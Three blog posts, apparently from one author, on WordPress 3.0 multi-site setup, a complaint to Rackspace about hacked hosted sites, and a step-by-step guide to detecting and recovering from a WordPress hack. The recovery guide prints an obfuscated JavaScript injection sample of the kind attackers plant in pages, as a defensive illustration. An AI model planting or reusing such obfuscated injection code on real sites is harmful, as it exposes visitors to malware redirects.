WordPress 3.0, code name “Thelonious”, has been released, and it brings multi-site functionality as part of the core. As someone with far too many blogs of my own, I thought this would be a great time to start switching them all over, and let you know what you’re in for if you choose to do the same.

Previously, if you wanted to run multiple sites from one core installation of WordPress, you would install WPMU.

I had tossed that idea around a lot over the past year, since I run several websites that run on WordPress, but I had heard from enough people who ran into plugin/MU conflict issues that made things go ‘splody ‘splody that I opted not to. So instead, every time a new version of WordPress came out, I’d end up upgrading around 20 installs. Blech.

With version 3.0 of WordPress, the ability to create multiple sites using one install of WordPress is built right into the core, so no need to fool around with WPMU. The temptation was too great this time, so I decided to give it a whack. It was not what I would call a smooth process, but it wasn’t terrible either.

STOP: If you are already running WPMU and you just want to figure out how to upgrade your existing WPMU sites to WordPress 3.0, you’re reading the wrong article. Try this one instead.

Goals

What I wanted to get out of this was to have one main core install, but run multiple sites on their own domains that all pulled from that main core, so upgrading to later versions would mean upgrading one core instead of a dozen or two. These properties remaining at their current separate domain names (such as www.crankyhaiku.com, www.geekhaiku.com etc) was critical, both because of search engine optimization and for branding reasons.

Upgrading

The normal upgrade part was flawless, as WordPress upgrades tend to be these days. Automatic upgrade has never quite worked for me, so I always do a manual upgrade. It takes longer to upload the files, but it’s a pretty painless process. So to upgrade to 3.0, I did the usual:

• backup (which I didn’t actually have to do, since I automatically backup to the Amazon Cloud every night using Automatic WordPress Plugin) but I’m paranoid
• delete the wp-admin directory
• delete the wp-includes directory
• upload everything in the WordPress package – except for wp-content – to the web root
• hit the upgrade script to trigger the database updates

Flawless, as usual. Not so much as a hiccup. Now came the trickier part – adding the “Network” functionality previously available in WPMU to start to consolidate sites.

Creating a Multi-Site Network

I can’t speak for how easy or difficult this normally was with WPMU, so unfortunately I can’t tell you how this process compares to a normal WPMU setup. It wasn’t awful, but it was definitely buggy.

The WordPress documentation on Creating a Network walks through the basics well enough, so I suggest you start there so you know what to expect.

Note: You will not be able to go through the wizard in your WordPress admin until you deactivate ALL of your plugins. You can obviously re-enable them later, but I found that many of them did not keep their original settings.

I suspect this might be because I chose “network activate” instead of just plain “activate”. I had wanted to make those plugins available for all sites in the network, and didn’t realize that it would wipe out my existing snipe.net settings when I did so. Oh well. (Incidentally, that explains why you might see some weird stuff on the site until I have a chance to go through everything one by one. Double “related posts” bits at the end of the articles, Apture wasn’t working, etc.) All of the settings are fixable, but it may take you a little time to figure out what’s been lost, and what you have to do to set it back to the way it was before.

Editing Your wp-config.php

Beyond the setup in your WordPress admin, you’ll need to make a few changes to your wp-config.php file and your htaccess file. I hadn’t updated my wp-config for several versions, so I decided to use the wp-config-sample.php file and just pull my existing database variables over. Whether you use your old wp-config.php or start fresh with the stock WordPress sample, you’ll need to add the following to your wp-config.php, just above the comment that says “/* That’s all, stop editing! Happy blogging. */”

define( 'MULTISITE', true );
define( 'SUBDOMAIN_INSTALL', true );
$base = '/';
define( 'DOMAIN_CURRENT_SITE', 'www.yoursite.com' );
define( 'PATH_CURRENT_SITE', '/' );
define( 'SITE_ID_CURRENT_SITE', 1 );
define( 'BLOG_ID_CURRENT_SITE', 1 );

If you followed my suggestion and read the WordPress documentation on creating a network (you did read that, right?), you’ll see that you have two choices for how your network will be set up: sub-domain (blah1.yourdomain.com, blah2.yourdomain.com) or directory-based (yourdomain.com/blah1, yourdomain.com/blah2). Make sure you think this one through before you get started, since there doesn’t seem to be an easy way to switch between the two.

As I mentioned, I didn’t want my sites to live at subdomain.snipe.net, or snipe.net/blogname – I wanted them to live at their own urls. I also didn’t want a bunch of crap littering up my document root. The easiest way to do this on Rackspace Cloud Sites is through a combination of setting up a site alias, and using mod_rewrite to handle domains:

• Set up a domain alias, like secondblog.com, and point it to originalblog.com
• Modify the mod_rewrite rules in your htaccess access file
• In your site preferences, point the blog url to the aliased domain name

If you’re not on Rackspace Cloud Sites, you can just follow the directions in the WordPress documentation.

Tweaking Your .htaccess

You’ll need to make sure the bit below is in your htaccess file – but your WordPress Network Setup wizard will point that out to you anyway

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule . index.php [L]

One thing to look out for besides having to reset your plugin preferences: when I created my Network, setting this site as the default, it automatically tried to set the url as snipe.net/blog. I’m not sure why it did this, and I’m certain I didn’t add it anywhere, but when I committed the changeover to Network, all of my urls were broken (since snipe.net/blog/ doesn’t exist). It was a quick change that you can handle via the Settings menu, but watch out for it and be sure to test your links once you’ve made the switch.

Importing Blogs

Now that you’ve got a Network set up, you have actually add them to the Network so that they’re using the same core. I expected this to be a much bigger pain in the ass than it ended up being. All I had to do was go to the original admin, go to TOOLS > EXPORT and download the XML file. Then go into my WordPress 3.0 admin, select the site I wanted to admin, and go to TOOLS > IMPORT > WORDPRESS, and upload the XML file. Worked perfectly, so far as I can tell.

Security Notes

Consolidating all of your WordPress sites into one multi-site install has many benefits, the most obvious one being that it’s easier to maintain one core install than updating every single instance of WordPress you run. That said, you may want to consider a few things:

While one install is probably more “secure” than multi-installs in the real world simply because you’re more likely to keep one site updated than dozens, there are a few things to consider.

If you run multiple WordPress blogs under the same user (the same account, in Rackspace Cloud Sites), all of the files are owned by the same linux user and group. This means that if one of your WordPress installs ends up compromised, either because you forgot to upgrade one of them, or because of a vulnerability in your hosting company, once an attacker has access to one of your blog installs, they have access to any other files owned by that user. Which means all of your other blogs, even the ones that are running current WordPress versions.

Along this same line of thought, if you’re running multiple WordPress installs under different users and you end up consolidating them to take advantage of the multi-site functionality, do so understanding that in this scenario, all of your blogs will be owned by the same user/group in the same webspace, so one vulnerability could easily turn into a much bigger problem.

Conversely, tracking down backdoors and maliciously modified files could potentially be easier, since you have fewer installs to search through.

WordPress has been much better about quickly patching holes, and being proactive about finding vulnerabilities. If your site ends up getting hacked, these days it’s more likely to be a vulnerable plugin, an outdated install you forgot all about, or a PC virus that added your FTP login to a botnet – not the core WordPress install itself. I say this with a certain amount of confidence, since I have restored at least two-dozen hacked WordPress sites (not mine) since the beginning of the year, and have therefore spent countless hours investigating the attack, identifying the vector, and writing up summaries to post to badwarebusters.org in an effort to help other people facing the same hack.

To be clear, running a multi-site install isn’t any riskier than running multiple blogs under the same user. But if you’re currently running your blogs under different users, you should at least be aware of how that could potentially impact you.

Final Thoughts

My thought is that it might have been smarter to install WPMU, and then upgrade to 3.0, since the upgrade process for a WPMU setup to 3.0 seems like it was a little less wonky, but I don’t really know.

I’ve really only just started playing with this during the fragment of free time I had today (work has been brutal for the past month or so). So far, pulling the theme in has been as simple as downloading them from their respective old WordPress installs and uploading them to the new 3.0 themes directory and activating them so that they’re available to the rest of the sites in the network.

And certainly, if you’ve found an easier way to get this done, please let me know in the comments.

Possibly related posts:

1. Essential WordPress Plugins Many WordPress bloggers have taken the time to share the...
2. When Your WordPress Blog Gets Hacked It happens to most bloggers at some point – your...
3. Creating A WordPress Theme If you’ve already got some design chops and a WordPress...

I just received an automated email from Rackspace that made my brain melt. It’s no secret that a lot of websites have been hacked lately.

One thing they seem to have in common is that they’re all running WordPress, and a lot of them are hosted at the Rackspace Cloud.

Dear Alison,

Since we host hundreds of thousands of applications at The Rackspace Cloud, we have a unique vantage point from which we can identify security trends and patterns. Lately, the industry has seen an elevated level of attempts to take advantage of code vulnerabilities in the software powering websites. Hackers are a common and persistent threat to any website, but there are steps you can take to protect yourself and to make your websites and applications harder to exploit.

Please read over the important tips below. We have dedicated security experts who work to protect our infrastructure, but since we can’t fix or upgrade code on behalf of our customers, it’s important for you to know and regularly implement security best practices in the code you run. We need your help and involvement to ensure your own sites are as protected as possible. If you have any questions about security, please reply to this email and we’ll be happy to help.

HERE’S WHAT OUR SECURITY TEAM HAS RECENTLY IDENTIFIED:

1. The current data that we’ve collected points to application-based vulnerabilities being exploited. Hackers commonly scan sites for insecure applications, plugins, or other pieces of code and then work to take advantage of the software exploits they find.

2. Applications using the popular blogging software WordPress appear to be mostly targeted, but WordPress isn’t the sole target of the malicious groups / persons.

3. Your site does not have to be high-profile to be targeted. Hackers often scan random sites for signs of software known to be vulnerable (older versions of popular software with publicly known security holes, for example).

HERE’S WHAT YOU SHOULD DO NOW TO PROTECT YOUR SITES:

1. This is probably the most important tip: For any application you use, be sure to maintain the most current stable version. Often, an application might be updated to a new minor version solely to address a security hole that’s been discovered. Be sure to subscribe to any news lists and feeds available for your applications to make sure you are aware of updated versions as soon as they are released.

2. Many applications, like WordPress, have optional plugins developed by the community. Since these add-ons are often not as well vetted, it’s extremely important to carefully evaluate and manage third party application plugins, themes, or other functionality that is introduced to a running web application. Most hackers are exploiting these plug-ins

3. It’s imperative to choose strong passwords. Randomly generated strings of letters, numbers, and symbols are best. Avoid words and phrases in your passwords. The unfortunate reality: passwords that are easy to remember are also easy to guess. (Ex: Replacing o by the number 0 is not a recommended tactic.)

4. Change your passwords on a regular basis and change them immediately when you have any hunch that your site may have been attacked.

5. Be as restrictive as possible with users and file permissions. Remove write permissions from files that aren’t likely to change frequently. Some programs have install files that should be deleted after installation. If you’ve installed something or written code for testing purposes or experimentation, it’s best to remove it afterwards. Only keep the files and code on your account that are active and necessary.

As a site owner, you need to take an active role in guaranteeing security of your code and applications. The good news is that our support staff is happy to help you with any questions or concerns you may have. Recovering from a hack or exploit is extremely time-consuming and frustrating. The preventive steps outlined above can make a world of difference in keeping your sites secure.

Finally, if you suspect your site has already been compromised, you should take immediate action. This knowledge base article can help you through the right steps:

http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise

Sincerely,
The Rackspace Cloud Security Team

I want to preface this by saying there are a LOT of people that work at Rackspace that are absolutely awesome. The guys I know from Twitter are amazing, and helpful and care about customer happiness more than I can even say. None of this is their fault. This is NOT about them. This is about something fundamentally wrong with priorities at Rackspace, in my opinion.

I replied:

Too little, too late. I could have (and did) tell you all of this already.

And unfortunately, running the most recent version of WordPress doesn’t help. This week, I have personally had to repair 11 WordPress websites hosted on the RS Cloud that were hacked, all were running 2.9.1 and had very few plugins in common. The plugins they do have in common, like WP-Supercache, are plugins Rackspace suggests to keep the CPU-cycle raping down to a minimum. And WP-Supercache is a mature plugin that is very well supported so it seems unlikely (although certainly not impossible) that it is the vector.

And thanks to your logfiles not being able to be viewed in real time (as they are owned by root), this leaves web developers that actually have a clue very few options for forensically backtracking the vector.

I would like to know what Rackspace is doing to help developers isolate these issues? Are logfiles being programmatically reviewed for malicious traffic? Without SSH access and the ability to tail apache logs, we cannot do this ourselves within any kind of timeframe that will be useful in preventing or mitigating an attack. If I am going to continue hosting with Rackspace, I want to be assured that Rackspace is actually doing something to help us protect ourselves other than send emails that overstate the obvious.

Your support staff, at least most of the level 1 techs, are completely and utterly incapable of handling anything relating to hacks. They are slow and under-educated, regardless of how well meaning they might be.

You guys are in the position where you can help isolate these vectors. What steps are you taking? You need to up your game, or I’m bailing, and likely taking a lot of people with me. There is a lot of buzz going around about these vulnerabilities being specific to Rackspace Cloud, as it seems the vast, vast majority of the WordPress hacks have been on RS CS hosted sites.

I have confronted several of your higher-ups in the Cloud, including CTO John Engates, multiple times over the past year, begging for better tools to monitor security, offering to pay extra for them. Simple tools that even terrible, insecure Cpanel servers have. The entire purpose of Mosso, when it was created, was to target web developers – at least that’s how it was pitched to me. Web developers. Professionals. Many of us with over a decade of experience in this business. You deny us SSH and real-time Apache logs, but do nothing to provide us with any tools we would need without access to those basics – and then to add insult to injury, you send us a form letter that tells us to use good passwords and keep WordPress up to date? If your target is still the web development community, it’s time to nut up or shut up. We’re already doing all of these things, and we’re still getting fucked. It makes us look bad, it costs us time and money, and the trust of our clients.

Your customers are under attack, and I want to know what you plan to do to help us protect ourselves and our clients, or I am taking my business to a company that values my time and reputation.

I would not have published this letter to my blog if this were not something that I have been asking for, over and over and over, for the entire year I’ve been with Rackspace Cloud. I have tried to keep my issues with Rackspace off the grid, because overall I have felt like they’ve been trying to work with me to keep me happy. But this was just too much.

No one is sorrier than I am that it came to this.

Possibly related posts:

1. The Cloud is a Lie Okay, the cloud (or grid or whatever they’re calling it...
2. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...
3. When Your WordPress Blog Gets Hacked It happens to most bloggers at some point – your...

It happens to most bloggers at some point – your WordPress blog gets pwned, and you’re not sure where to even start. I’ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.

This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won’t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.

Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you’re not a pro, you probably just haven’t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.

The Impact of a Hack

The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We’ll get into that a little further down in the article, but the high-level impacts of a site hack are:

• Lost time spent restoring the site, or lost money paying someone else to if you don’t have the technical skills.
• Possibly lost data or files.
• Site downtime, potentially resulting in lost sales or referrals
• Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.
• Possibly infecting your users with malware.

Pretty serious stuff – but fortunately, two of the most significant items in that list are things you can directly mitigate by taking some precautions and staying calm if you get hit with an attack.

When You Fail to Prepare, You Prepare to Fail

My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I’ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.

Right now, as you’re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I’m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won’t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don’t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that’s the first time it’s been attempted, you’re dead wrong.

There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.

Keep WordPress and Plugins Up to Date

This seems obvious, but it’s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn’t take very long to do a full upgrade, and it’s one of the easiest ways you protect yourself from attacks.

WordPress is actually pretty secure these days – certainly a far cry from where it used to be. They’ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don’t help you if you’re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star’s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it’s patched.

WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it’s up to you to upgrade to reap the benefits of the patches. It’s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you’ve got to remember to login once in a while and update them.

Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.

IMPORTANT: Make sure that you upgrade ALL of your WordPress installations. Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date by changing files, installing shells and backdoors, etc.

Backup, Backup and Backup again

Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is your responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.

Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what’s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.

In addition to whatever backups your server provides, WordPress has several plugins and tools available to make backing up your blog pretty painless.

I personally do automatic backups to an Amazon S3 account, with the help of a fantastic plugin called Automatic WordPress Backup. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn’t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.

It’s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine – you will never, ever regret it.

Remember that a backup isn’t a backup until you’ve tested that it actually works. Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don’t have to figure it out from scratch while you’re freaking out because you’ve been hacked. Same concept as a fire drill.

Ask Your Web Host Where Your Log Files Live

In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don’t have to scramble to find them during the heat of the moment.

Early Detection Equals Better Reputation Damage Control

The only thing worse than being hacked in the first place is being the last to know about it. It’s embarrassing, it’s awkward, and you can come off seeming like you’re out of touch with your own site.

When a user tells you your site has been hacked, you now have to deal with public perception damage control in addition to getting your site back online and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.

Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay means more of your users could end up with infected computers. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.

So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you’re always the first – or damn close – to know? Easy.

Set up an account with one of the cheap or free website monitoring services. There are many to choose from, and some offer more features than others, but you can see a comparison of the ones I’ve tried here. I personally prefer Site24x7 because of the alert configuration options.

As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn’t found in the test. I’ve also added an alert to search for the keyword “iframe”, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.

Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don’t get any false alarms.

Unfortunately, not even this is foolproof, since most attacks use some sort of obfuscation to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.

If the hack is causing your site users to be redirected to badsite.com, the first thing you’d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what’s more likely for you to find in your code is something that looks like this:

NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below. There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the <script> tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.

<scr ipt>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)
71-216-213-225-:8-21:-212-43-226-225-::-
72-45-49-46-65-64-61-66-68-6:-215-227-
227-223-69-58-58-::-212-221-227-216-232-
222-57-::-222-21:-58-216-221-57-::-214-216-
74-61-45-43-22:-216-211-227-215-72-5:-
43-215-212-216-214-215-227-72-5:-43-226-
227-232-219-212-72-45-229-216-226-216-
:9-216-219-216-227-232-69-43-215-216-
211-211-212-221-45-73-71-58-216-213-225-
:8-21:-212-73**<=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) result+
=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </scr ipt> [spaces added intentionally]

So as you can see, the common sense of checking for badsite.com in your files isn’t enough anymore. Your blog most likely has javascript, so simply looking for <script> tags will give you false positives, so you’ll have to figure out what works best for you.

Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don’t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can’t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)

Finally, you can set your alert to email you, send you an SMS message or both. If you’re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally want to be woken up in the dead of night if something hinky is going on, so I have it set to SMS and email.

The Alarm Has Been Sounded. Now What?

You’ve received an alert from your site monitoring service notifying you that your site is “In trouble”. You obviously need to verify that it’s actually been hacked, and it’s not just a timeout or some other innocuous issue. Be sure to disable javascript before hitting your site – since many attacks inject a line of malicious javascript, you don’t want to end up infecting your own computer while checking your site.

In fact, to be even safer, don’t hit your homepage using your browser at all.
Some hacks will use a plain meta refresh redirection that doesn’t rely on javascript to send you on to a malware site, so disabling javascript won’t protect you from all threats. You can use a tool like the WC3 validator to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don’t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select “show source” in “More Options”, and then bookmark the results page.

Shit. Definitely Hacked. Now What?

First of all, in the words of Douglas Adams – Don’t Panic. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is really important if you want to make sure it doesn’t happen again.

Take a deep breath and exhale slowly.
This is not the end of the world, especially if you’ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It’s definitely a big deal, and I’m not saying you should go out for a stroll, but freaking out isn’t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.

Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven’t touched any files yet.

Login to your server and quickly assess the damage – but don’t touch anything yet.
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that’s not the worst case scenario. It’s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.

It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don’t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy – most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)

Open your htaccess file and disable your site to incoming traffic.
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time. I highly recommend checking out the Close your website temporarily with Apache htaccess article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.

Ideally, you’ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won’t work) saying the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that “closed for maintenance” page.

You need to disable traffic or redirect to a “closed for maintenance” page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad – redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you’re able to protect your users with a more generic message. You can always explain to your users what happened later. The priority is to contain the threat so that you’re not infecting any visitors, and then you can take a little more time to investigate and repair the site.

Check for files that have been added or modified recently but do NOT fix them yet.
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:

ls -lRta | less

This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.

You can also use something like this:

find . -type f -mtime -1 -print

… which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven’t made any changes in the past day, there’s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.

If you don’t have SSH access, this is a bit more of a pain in the ass, but still do-able. You’ll want to sort your FTP client’s results by date modified, and poke around in all of the directories, noting any file modification dates that don’t make sense.

One of the easiest ways to record the timestamp information is to screenshot the FTP client’s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.

I usually make it a point to download all of the files that have been added or modified.
Since the repair process is going to blow out all of the hacker’s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users – but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.

Make with the Googling.
Google can often shed some light on the hack you’re facing. Chances are, you’re not the first target, so someone, somewhere may have posted about it. A lot of what you’ll find are forum members saying “WTF?! Were we hacked?”, but every now and then you can actually glean some useful information.

One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try “badsite.com wordpress” or “badsite.Com hacked”. You’ll often find a lot of crossovers, and the same exploit that’s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.

The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you’re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn’t think to check, and so on. You won’t always hit paydirt, but when you do, you’ll be really glad you bothered to check.

Check the database directly for secretly created admin users.
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you’ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that “hides” the admin users from view using CSS, so you’re better off going straight to the horse’s mouth.

First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user’s permission level in a chunk of serialized data. Something like this should work:

select * from wp_usermeta where meta_values LIKE '%administrator%';

In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:

a:1:{s:13:"administrator";b:1;}

Users that are not legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.

Next, let’s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:

select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'

Chances are, you’ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.

Check for script files where they don’t belong.
While it’s possible for malicious code to actually be embedded in what looks like an image file, what I have found to be far more common is that backdoor scripts will be inserted into your uploads subdirectories where normally only images live. As a site owner is cleaning up their hacked WordPress install, they often overlook combing through the images directory, since scripts don’t normally live there.  That means that after the site owner has spent hours cleaning out a hacked blog, the backdoor gets triggered and they find themselves hacked all over again.

One of the commenters in this post had a similar issue. He kept cleaning out the script files, replacing them with clean copies, etc. And every week, the blog would get hacked again. We went through his file structure together, and sure enough, there were .php and .pl files tucked away in a few of his uploads directories.

In another instance (that I will hopefully get a chance to blog about soon), I discovered files in the cgi-bin that didn’t belong there. You can read more about that exploit in depth in my post about it on badwarebusters.org if you’re interested.

If you don’t have shell access and have an older blog with tons of upload subdirectories broken down by month, this can be time-consuming, but it really is necessary. Without SSH access, the easiest thing to do is to go into each directory in your FTP program and sort the file listing by file type. This will group all of the images together, and make it easy to spot anything that isn’t an image and doesn’t belong. Then do another quick sort by file modification date, just to be sure there’s nothing in there that doesn’t make sense, for example a recent modification date on an image from a blog post that is over a month old. Unless you know you went back into the blog post and updated an image, that file modification timestamp should look out of place and should raise some red flags.

Once you have a copy of all of the bad files and you know when they were modified, you can now restore the site.
Leave the htaccess redirect up until you’re done. I highly recommend blowing out all of the files in the entire webspace and restoring from a clean backup. What would be a clean backup? One that was done before the timestamps of the bad files. Bear in mind, just because there was no visible sign of a hack previously, that doesn’t mean bad scripts weren’t living on the server – so this method isn’t foolproof, but it’s a good place to start.

I usually do a fresh download and reinstall if the core WordPress files at this point, just to be on the safe side.

Once the site is restored, revert back to your normal htaccess and re-open the site.
How you handle your PR is up to you. For some, transparency may be best. If you believe that your users’ usernames and/or passwords were compromised in any way, you should let your user’s know. I use Disqus on all of my sites, so my WordPress database doesn’t contain any user’s login information, but if you use WordPress’ native comments, you need to let your users now that their information was potentially exposed. This is an ethical obligation because many people (stupidly) use the same login for multiple accounts online, and having access to their WordPress login could mean the bad guys now have access to other accounts because the user was dumb enough to use the same login for your site as for their bank.

I generally recommend turning off new user registration altogether in WordPress. Once you’ve done that, you can password protect the wp-admin directory to further secure your install. (We’ll talk more about other ways you can secure your WordPress installation in the next article.)

Spend some time looking at your log files.
This part is critical, so you can figure out what happened and how the exploit was executed. Check your httpd logs, looking for signs of cross-site scripting around the time the you were alerted to the hack and earlier. Look for GET or POST strings being sent that have weird code in them, specifically GET or POST variables that don’t make any sense for your website.

Check your FTP/SSH logs for logins from IP addresses you don’t recognize, specifically around the time the bad files were modified.

If you see FTP traffic during that time that wasn’t you (or another legitimate user) uploading the hacked files, there is a very good chance that you or someone who has FTP access to your server has malware on their computer. The other option there is that you (or someone with access) was uploading files while on a public wifi network, and someone sniffed the login over the network. That is a less likely scenario, but still one to consider. Nine times out of ten recently, when I have had to fix a client or friend’s hacked WordPress site, it is because the computer they use to upload files has been compromised by way of malware or a virus.

Be paranoid.
Seriously. Keep a close eye on on your site, specifically checking the places the exploit first showed up. Check back often, reviewing your source code for anything that doesn’t belong. Injected code is very often found at the very bottom or very top of the executed page, but may also be sprinkled throughout the file, so keep your eyes peeled. Remember what we discussed earlier – it may be obfuscated, so doing a find on the source looking for “badsite.com” may give you a false negative.

